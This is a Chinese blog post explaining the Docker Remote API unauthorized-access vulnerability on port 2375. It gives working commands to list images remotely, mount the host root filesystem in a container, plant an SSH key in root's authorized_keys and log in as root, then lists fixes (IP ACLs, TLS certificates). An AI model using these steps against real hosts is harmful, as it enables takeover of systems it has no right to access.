Docker_remote_api未授权访问漏洞

本文介绍了Docker Remote API的默认安全设置及其存在的未授权访问漏洞,详细阐述了漏洞如何导致外部可以执行docker命令,获取敏感信息甚至宿主机root权限。示例展示了如何利用该漏洞远程启动容器并进行恶意操作。为修复此问题,建议设置ACL限制访问IP,启用TLS并使用证书认证。参考链接提供了具体修复步骤。
摘要由CSDN通过智能技术生成

Docker_remote_api未授权访问漏洞

docker_remote_api简介:

docker remote api主要的目的是取代命令行界面,
docker client和docker daemon通过unix domain socket进行通信.
默认情况下,只有本机的root和docker组用户才能操作docker.

漏洞成因:

  1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
  2. docker守护进程监听在0.0.0.0,外网可访问
  3. 没有使用iptable等限制可连接的来源ip。

漏洞危害:

可执行docker命令,获取敏感信息,获取docker镜像权限,获取镜像宿主机root权限。

漏洞利用:

  1. 远程对被攻击主机的docker容器进行操作
    docker -H tcp://x.x.x.x:2375 images
    在这里插入图片描述

  2. 远程启动被攻击主机的docker容器,并且将该宿主机的根目录挂载到容器的/mnt目录下
    docker -H tcp://x.x.x.x:2375 run -it-v /:/mnt imageID /bin/bash
    在这里插入图片描述

  3. 在攻击机生成密钥对,复制dockerapi.pub的内容
    Ssh-keygen -f dockerapi
    在这里插入图片描述

  4. 进入/root/mnt/root/.ssh目录下,将dockerapi.pub的内容追加到authorized_keys中
    Cd /root/mnt/root/.ssh
    Echo 公钥内容 >> authorized_keys

  5. 在攻击机使用私钥登录宿主机
    Ssh -i dockerapi root@宿主机IP
    在这里插入图片描述

修复方法:

1、设置ACL,只允许信任ip连接对应端口
2、开启TLS,使用生成的证书进行认证
修复参考链接:https://docs.docker.com/engine/security/https/

其他参考链接:
https://www.cnblogs.com/pythonal/p/9207696.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值